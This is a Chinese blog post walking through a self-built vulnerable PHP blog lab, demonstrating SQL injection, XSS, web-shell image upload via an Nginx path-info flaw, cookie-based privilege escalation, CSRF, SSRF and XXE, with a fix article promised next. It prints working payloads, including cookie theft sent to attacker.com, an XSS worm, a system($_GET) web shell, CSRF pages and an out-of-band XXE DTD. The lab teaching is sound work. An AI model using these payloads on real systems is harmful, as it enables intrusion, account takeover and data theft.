本文依托自制简易博客系统靶场,旨在以开发视角研究Web应用常见漏洞底层原理,漏洞包括但不限于:文件上传、越权访问、XSS、CSRF、SQL注入、SSRF、XXE,并逐一修复漏洞,加强对攻防双方的理解。靶场地址:SuperDemon921/vulnlab

靶场详情
该靶场是一个使用纯原生 PHP + MySQL 编写的渗透测试靶场,前后端不分离,无任何框架依赖,页面无 CSS 样式设计,以功能完整为主。靶场模拟了一个包含用户系统、博客、文件上传和后台管理的典型 PHP Web 应用,故意采用不安全的开发写法,覆盖 SQL 注入、XSS、文件上传、越权、CSRF、SSRF、XXE等 OWASP Top 10 主要漏洞,旨在以开发视角研究各类安全漏洞成因,适合渗透测试入门学习与漏洞原理研究。
前置知识
靶场cookie存储逻辑
首次访问靶场,php服务端会自动生成一个PHPSESSID,并返回给客户端浏览器

浏览器会将值存储在浏览器本地,并且服务端的tmp目录下会存在一个空的session文件,与PHPSESSID对应


随后访问登录页面,浏览器会自动把PHPSESSID带上

先使用内置账号Alice登录靶场
| 用户名 | 密码 | 角色 |
|---|---|---|
admin |
admin123 |
管理员 |
alice |
alice123 |
普通用户 |
bob |
bob123 |
普通用户 |
charlie |
charlie123 |
普通用户 |
登录成功后,服务器会返回一个重定向到index的数据包,并带上了user_info

随后浏览器发送重定向数据包,带上了PHPSESSID和user_info

在浏览器中的session中,也可以看到user_info,值是alice的用户信息的序列化字符串,包含id, username, role

同时,在服务端中的session文件中,也有值了,正是alice用户的信息,与user_info相对应

似乎有两套session逻辑,那么PHPSESSID和user_info这两个值在靶场中的用途是什么呢?
PHPSESSID是 PHP 原生的 session 机制自动生成的 cookie。浏览器每次请求都带上它,服务端用这个 ID 去找对应的 session 文件,读出里面存的数据:

靶场里各页面用它来判断"你是否已登录":

而user_info是靶场在 login.php 里手动 setcookie() 写入的自定义 cookie,值是用户信息的 PHP 序列化字符串

这样设计的目的是故意引入不安全反序列化漏洞
user_info 存在客户端,用户可以随意修改。把其中的 role:0 改成 role:1,访问一次profile.php,服务端就用这个伪造值覆盖了 $_SESSION['role'],普通用户由此获得管理员身份。

这也体现了真实开发中的一类错误思维:"我把数据存在 cookie里,用的时候直接取来用,省得查数据库",本质是把信任边界放在了客户端。
文件上传处理逻辑
来到 upload.php 文件,可以看到后端接到我们的文件后,截取后缀名,再与黑名单中的.php匹配,但实际上可以通过各种方式绕过,后面再说

在前端上传点,设置了 accept 参数

accept 是前端<input type="file">的一个纯前端提示属性,作用是告诉浏览器在文件选择弹窗中过滤显示哪些类型的文件,这里设置了image,所以我们点击文件上传按钮,默认只显示图片类型的文件

但实际上可以点击切换到所有文件,即可上传任意文件

那有没有办法可以不让用户手动选择所有文件呢?
做不到。这是浏览器/操作系统的设计原则,文件选择对话框由操作系统控制,用户始终可以在对话框中切换为"所有文件"来选择任意类型的文件。这是有意为之的,Web 应用不能限制用户选择本地文件系统中的哪些文件。accept 只是建议浏览器优先显示某类文件,不是强制。
所以真正的上传限制,还得在后端做严格校验
靶场漏洞复现
SQL注入
任意用户登录
首先来到登录页面,在用户名输入:
' or 1=1#密码随便输,或不输,点击登录,即可直接以管理员登录


服务器上的session也是管理员

我们直接在/login.php的sql语句下断查看

最终执行的语句其实是SELECT * FROM users WHERE username = '' or 1=1
我们来到数据库执行这个语句,可以看到他直接输出了整个users表,并且第一个用户就是管理员

由于是 OR 逻辑,只要任意一个条件为 TRUE,整行就会被返回。而1=1 对每一行都为 TRUE,所以整张表都被返回。
所以这条语句等价于:
SELECT * FROM users -- 返回整张表而代码中的fetch_assoc() 只取结果集的第一条记录,所以直接以管理员登录了

当然我们也可以指定用户登录
admin'#
alice'#
bob'#
charlie'#

文章查询sql注入
进入系统后,有个用于查询文章的搜索框,直接单引号起手,发现报错了

随后就是union查询一条龙,先order by确定列数,再逐一出数据:q='order by 6--+

查看一下回显位:q=' union select 1,2,3,4,5--+

随后我们直接枚举数据库,查表名,查列名,出数据
q='union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4,5--+
#枚举所有数据库名
q='union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5--+
#列出当前数据库表名
q='union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='vulnlab' and table_name='users'),3,4,5--+
#查询users表中的列
q='union select 1,(select group_concat(username,":",password) from users),3,4,5--+
查询users表中的用户密码
当然,sql注入远不止union查询这一种,还有很多类型这里就不一一列举了,因为这里没有做任何防护,所以所有注入类型都可行,待后续漏洞修复环节,再测试别的注入类型
文章切换sql注入
在 /article.php?id=1' 中也存在sql注入,后端直接将参数 $q 拼接进sql语句,并且输出报错


用户信息查询sql注入
在/profile.php?id=2中也存在注入,后端依旧是直接将 $id 直接拼进语句,并且输出报错信息(这里其实还存在越权,后面再说)


该靶场中还存在多处sql注入点,这里就不一一列举了
XSS
反射型XSS
还是在文章查询的功能点,我们可以直接传递如下xss,可以直接获取当前浏览器中此站点的cookie值
?q=<script>alert(document.cookie)</script>
document.cookie是是浏览器提供的一个 DOM API 属性,属于Document对象。可以直接读写当前域名下的 Cookie。

在 search.php 中,直接将用户输入的查询关键字打印在前端,直接造成反射型xss

由此,攻击者可以构造一个钓鱼链接,直接窃取他人cookie
?q=<script>document.location='http://attacker.com/?c='+document.cookie</script>存储型XSS
在文章评论功能点中,用户评论未做任何过滤,直接存入数据库,前端展示时直接触发

测试一个无害s标签
当然,也可以弹cookie值,提交后访问该文章,所有用户打开页面均触发弹窗。
<script>alert(document.cookie)</script>XSS蠕虫,所有访客加载此评论就会自动发评论
<script>
fetch('/vulnlab/comment.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'article_id=1&content=<script>alert(1)<\/script>'});
</script>查看代码,评论内容是通过p标签包裹起来的

文件上传
来到 upload.php 页面,有个上传头像的功能,我们先传一张png图片试试。可以看到上传后给出了图片地址,并且图片没有没重命名

前面有提到,后端校验是通过黑名单 .php 校验文件后缀,所以这里我们试着绕过黑名单,上传一个php文件
我们将后缀改为php5,发现可以上传,但是后端解析不了php5


图片马RCE
于是我们可以制作一个简单的图片马,用010 editor打开一张png

可以看到一张图片文件大致包含:
- 八字节文件头:图片签名标识(固定)
- 元数据:尺寸/时间(可选)
- 像素数据:实际图像(主体)
- 文件尾:结束标记(固定)
我们在插入php代码时,需要避开文件头和关键的元数据结构,在不破坏这些头部信息的前提下插入代码,图片才能正常显示和通过检测。

我们直接插入 <?php system($_GET["cmd"]);?> ,随后将文件上传,直接访问会是一张加载失败的图片

现在服务器还是将我们的 shell.png 当做图片来解析的,我们要想办法让php解析器来解析我们的图片,我们直接这样访问:
/vulnlab/uploads/shell.png/x.php?cmd=whoami
会发现报错了,但这是php的报错,说明我们的图片成功被当做php解析了!至于为什么会报错,以及如何解决,随后再说,我们先搞懂为什么这样就可以让图片执行为php
这其实是一个经典的 Nginx + PHP-FPM 路径解析漏洞,Nginx配置文件如下:
server {
listen 80;
server_name localhost;
root "D:/phpstudy_pro/WWW";
location / {
index index.php index.html;
error_page 400 /error/400.html;
error_page 403 /error/403.html;
error_page 404 /error/404.html;
error_page 500 /error/500.html;
error_page 501 /error/501.html;
error_page 502 /error/502.html;
error_page 503 /error/503.html;
error_page 504 /error/504.html;
error_page 505 /error/505.html;
error_page 506 /error/506.html;
error_page 507 /error/507.html;
error_page 509 /error/509.html;
error_page 510 /error/510.html;
autoindex off;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
关键在如下的两个配置项:
location ~ \.php(.*)$ { #路径匹配这个正则用 (.*) 匹配 .php 后面的任意字符。
对于请求路径 /vulnlab/uploads/shell.png/x.php?cmd=whoami,Nginx 看到路径里含有 .php(x.php 部分),于是这条 location 命中,请求被转发给 PHP-FPM。
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; #路径切分这条指令用正则把 URI 拆成两段:
| 变量 | 值 |
|---|---|
$fastcgi_script_name |
/vulnlab/uploads/shell.png/x.php |
$fastcgi_path_info |
(空或后续路径) |
这里的关键是正则 .+\.php 非贪婪匹配到了 shell.png/x.php 整体中最短的包含 .php 的前缀,结果:
$fastcgi_script_name = /vulnlab/uploads/shell.png/x.php
↑ 这整段被当作脚本路径
随后 PHP-FPM 收到的执行目标是:
D:/phpstudy_pro/WWW/vulnlab/uploads/shell.png/x.php
但 PHP-FPM 发现 shell.png/x.php 这个路径实际上不存在(没有 x.php 这个文件),它会触发 cgi.fix_pathinfo 逻辑(默认开启),就会从路径末尾往前找,直到找到一个真实存在的文件为止

于是 PHP-FPM 将 shell.png 作为实际脚本来执行,/x.php 被当作 PATH_INFO

知道如何执行图片马后,我们重新编辑图片马,加上这一行:__halt_compiler(),让php不再解析后面的图片数据,从而不报错

随后我们上传这个文件,并试着传参执行:
/vulnlab/uploads/shell.png/x.php?cmd=whoami

也是成功RCE了
上传路径穿越
该靶场理论上是存在文件上传路径穿越的,且服务器没有重命名用户上传的文件,导致可以覆盖服务器中的任意文件。这里我们抓包,将filename参数加上 ../

随后下断点查看,发现name并没有带上 ../ ,其实理论上是应该会有的

随后拼接进 $sava_path 中,造成路径穿越,从而覆盖任意系统文件
但这里并没有成功,至于原因是什么,这里先保留,后续再分析
越权访问
靶场的权限校验设置的非常宽,可以说没有校验,所以可以很轻易的水平/垂直越权
后台管理越权
首先保持浏览器中没有任何cookie值,我们访问 login.php 登录普通用户alice,可以看到没有后台管理功能,且生成了个随机sessionid,且 user_info 的值是alice的序列化字符串

我们去服务器看这个session文件中的值,角色值是0,表示普通用户

我们访问个人信息页面 profile.php,可以看到,在这个if 分支中,将 user_info 中的role覆盖进了服务器 session role,而 user_info 是我们可控的。这就意味着,我们只要访问 profile.php ,并手动修改 user_info 值,就能直接重写服务器中session文件的role,从而越权

此时session中的role还是0,如果我们修改user_info,是否可以将我们的session role写成1呢?

我们来试验一下,访问个人中心页面,抓包,可以看到此时role为0

我们修改成1后,发包

再去服务器上看session文件,可以看到变成1了

于是我们来到首页,发现多了个后台管理,越权成功

个人中心越权
依旧是个人信息页面 profile.php ,可以看到要么GET获取用户id值,要么从session中获取 user_id ,这两处都可以任意修改

且id直接拼接进sql语句,还会造成sql注入

此时我们是以alice登录的,来到 profile.php ,看到的是alice的个人信息,因为此时 user_info 是alice的信息

我们也可以直接传个 id=1,直接查看管理员信息,造成越权

修改任意用户密码
来到alice的个人中心,修改密码,提交抓包

直接修改id值,改为1(管理员),随后放包

前端提示修改成功,随后去数据库查看,admin密码已被修改

CSRF
GET型-删除用户
构造恶意页面,并诱导管理员访问
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>恶意页面</title>
</head>
<body>
<h1>你获奖了,点击领取</h1>
<!-- 管理员浏览器静默发起删除请求 -->
<img src="http://192.168.111.194/vulnlab/admin/delete.php?type=user&id=3" width="0" height="0">
</body>
</html>管理员访问该页面会静默发起删除请求,删除id=3的用户


随后被重定向,发现用户3被删除了,全程无任何提示,恶意页面静默加载图片src,向删除用户的接口发起请求

POST 型-修改他人密码
还是构造一个恶意页面,诱导管理员访问
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>恶意页面2</title>
</head>
<body onload="document.forms[0].submit()">
<!-- 页面一加载完毕,立即自动提交页面中的第一个表单,受害者完全无感知。 -->
<form method="POST" action="http://192.168.111.194/vulnlab/admin/users.php" style="display:none">
<!-- 表单隐藏,受害者看不见任何异常。 -->
<input name="user_id" value="1">
<input name="new_password" value="hacked123">
</form>
</body>
</html>
随后浏览器自动提交,管理员密码被修改


SSRF
来到网页浏览 browse.php 的源码,可以看到后端直接将前端传来的url放进 file_get_contents 高危方法中,且未校验 url 格式,未限制内网地址,未限制协议,将查询的结果直接拼接进前端

file_get_contents 函数支持多种协议:
| 协议 | 示例 | 效果 |
|---|---|---|
http:///https:// |
file_get_contents("http://example.com") |
发起 HTTP 请求 |
file:// |
file_get_contents("file:///etc/passwd") |
读取本地文件 |
php:// |
file_get_contents("php://input") |
读取 PHP 流 |
ftp:// |
file_get_contents("ftp://host/file") |
FTP 读取 |
data:// |
file_get_contents("data://text/plain,hello") |
读取内联数据 |
dict:// |
file_get_contents("dict://127.0.0.1:6379/...") |
可探测 Redis 等服务 |
gopher:// |
较老版本支持 | 可构造任意 TCP 请求,危害极大 |
我们可以先让他帮我们请求个百度

读配置文件
可以再让它帮我们读数据库配置文件:conf/db.php

file:// 协议严格来说是设计给绝对路径的,但 file_get_contents 对相对路径的处理分两种情况:
不带 file:// 前缀 → 支持相对路径
file_get_contents("../../etc/passwd"); // 相对于当前脚本目录
file_get_contents("config.php"); // 当前目录这本质上是文件系统调用,PHP 会基于当前工作目录(cwd)解析。
带 file:// 前缀 → 需要绝对路径
file_get_contents("file:///etc/passwd"); // ✅ 正常
file_get_contents("file://../../etc/passwd"); // ❌ 行为不可靠,多数情况读取失败file:// 是 URI 格式,URI 规范里 file:// 后面跟的是 host(留空表示本机),再后面必须是绝对路径。相对路径不符合规范,PHP 流包装器对这种情况处理结果是失败或未定义行为。
内网探测
内网端口探测,可以发现潜在内网服务,直接爆破端口

发现本机中的各种服务:


也可以探测内网中存在的主机

内网探测的协议选择
由于靶场的限制,在这个漏洞点中,只能使用http/https协议来探测,但 HTTP 不是最好的选择
HTTP 是应用层协议,探测一个主机是否存活,本质上只需要知道网络层/传输层是否可达:
OSI 层级:
7 应用层 → HTTP(太重了)
4 传输层 → TCP(够用)
3 网络层 → ICMP/Ping(最轻量)
最理想的存活探测是 ICMP(ping),一个包就能判断,但 SSRF 利用的是 HTTP 服务器发请求,file_get_contents 根本不支持 ICMP。
还有个最强的协议 gopheer ,可以发送任意字节的 TCP 数据,可以模拟任何协议(Redis、MySQL、Memcached...),而且不只是探测存活,还能直接交互和攻击内网服务,是 SSRF 打内网服务的核心利用协议
但 PHP 较新版本已经默认禁用 gopher,需要看目标环境。
还有 dict 协议,dict:// 底层就是建立 TCP 连接,比 HTTP 少了 HTTP 请求头的构造过程:
- 主机存活且端口开放 → 收到服务的 banner 数据 → 快速返回
- 主机存活但端口关闭 → TCP RST → 极快返回
- 主机不存活 → 等待超时
响应时间差异比 HTTP 更明显,误判更少。
XXE
什么是 XXE?
XXE(XML External Entity,XML 外部实体注入)是一种针对解析 XML 数据的应用程序的攻击方式。
XML 有一个叫做 DTD(文档类型定义) 的机制,允许在文档内部或外部定义"实体"——可以理解为变量。其中外部实体可以引用服务器本地文件甚至网络资源:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>当 XML 解析器处理这段内容时,&xxe; 会被替换成 /etc/passwd 的实际文件内容并返回给调用方。
漏洞产生的根本原因:应用程序在解析外部输入的 XML 时,没有禁用外部实体加载。PHP 中,使用 LIBXML_NOENT 标志会显式告诉解析器展开所有实体,包括外部实体,这是非常危险的行为。
XXE 的危害主要有以下几类:
- 任意文件读取:读取服务器上的敏感文件(
/etc/passwd、源码、配置文件等) - SSRF(服务器端请求伪造):让服务器发起内网请求,探测内网拓扑
- DoS:通过"Billion Laughs"递归实体引用耗尽内存
来到靶场的 admin/feed.php 查看源码,可以看到在解析 RSS XML 时使用了 LIBXML_NOENT,未禁用外部实体。且直接用 file_get_contents 获取用户输入的任意 URL

这里实际上形成了一条 SSRF → XXE 的漏洞链:
- 服务器通过
file_get_contents($feed_url)主动请求我们指定的 URL,这本身就是 SSRF - 拿回来的 XML 内容再用
LIBXML_NOENT解析,外部实体会被完整展开 - 如果我们在自己的服务器上托管一个恶意 XML,就能让靶场服务器读取自身文件并将内容回显
XXE读文件
我们在公网服务器中构造一个恶意xml,用于读取服务器 hosts 文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<rss version="2.0">
<channel>
<title>Evil Feed</title>
<item>
<title>test_xxe_001</title>
<link>http://evil.com</link>
<description>&xxe;</description>
</item>
</channel>
</rss>将恶意链接输入订阅框,点击订阅,提示导入成功

随后我们去前台查看,可以看到一篇新文章

正是我们读取的文件信息

OOB外带
直接将文件内容变成一篇文章展示在前端,未免太明显了些,我们可以采用OOB外带的方式,把文件内容带出到外部服务器,不依赖前端回显
将 evil.xml 改写为:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss SYSTEM "http://IP/evil.dtd">
<rss><channel><title>&send;</title></channel></rss>配套的 evil.dtd:
<!ENTITY % file SYSTEM "http://127.0.0.1/vulnlab/conf/db.php">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://IP:9999/?d=%file;'>">
%all;靶场解析时会把文件内容拼接到 URL 参数,以 HTTP GET 请求的方式发送到你的监听服务器,在服务器日志里就能看到文件内容。
此时我们依旧发起订阅,可以看到报错了

问题出在 PHP 对参数实体(Parameter Entities,% 开头)的限制,两个尝试遇到了不同的限制。
PHP 的 libxml 实现中,LIBXML_NOENT 只负责替换阶段(用实体值替换引用),不负责DTD 加载阶段:
| 标志 | 作用 |
|---|---|
| LIBXML_NONET | 禁止加载网络资源 |
| LIBXML_DTDLOAD | 允许加载外部 DTD 文件 |
| LIBXML_DTDATTR | 默认添加默认属性 |
| LIBXML_DTDVALID | 验证时允许 DTD 子集 |
| LIBXML_NOENT | 替换阶段展开所有实体 |
PHP 默认不设置 LIBXML_DTDLOAD,所以:
- 内部子集:有 PEReferences forbidden 限制
- 外部 DTD:虽然 file_get_contents 成功抓取了 evil.dtd,但 libxml 不会加载其中的实体定义
更准确地说,simplexml_load_string 默认不处理外部参数实体(External Parameter Entities),无论 LIBXML_NOENT 如何设置。这是 PHP 的 XXE 防护,不是配置问题。所以 PHP simplexml_load_string 不支持 OOB XXE
总结
这套靶场写完一轮,最大的感受不是会打了多少个漏洞,而是这些漏洞背后的成因,几乎都能追溯到开发时一两个看似无害的偷懒决定:把 role 顺手存进 cookie、SQL 直接字符串拼接、文件名原样落盘、XML 解析器照着默认配置就用。攻击者做的事情,常常只是把这些决定的代价兑现出来而已。
站在开发者视角回头看,安全并不是写完功能再加上去的一层防护补丁,而是一种贯穿在每一次取参、拼串、落盘、解析里的默认姿态。当你习惯把客户端输入当作敌意数据、把信任边界明确画在服务端时,OWASP Top 10 的大半其实都不需要防,它们本来就不会出现。
下一篇会换个身份,从攻击者切回开发者,用现代化的方式把本文中的漏洞逐一修掉,比如预编译与 ORM、输出编码、白名单 + 文件重命名 + Content-Type 校验、CSRF Token、SameSite Cookie、SSRF 的协议与 IP 白名单、libxml 的安全配置等等。重点不是加上某个函数就安全了,而是看现代框架和工程实践是如何从设计层面将这些漏洞扼杀于萌芽阶段的。
版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。
原文链接:https://www.jerrygao.cn//blog/E4BBA5E5BC80E58F91E8A786E8A792E68993E7A9BFE887AAE588B6E99DB6E59CBA3A57656220E6BC8FE6B49EE58E9FE79086E585A8E699AFE5A48DE78EB0
评论 0
还没有评论,成为第一个留言的人吧!
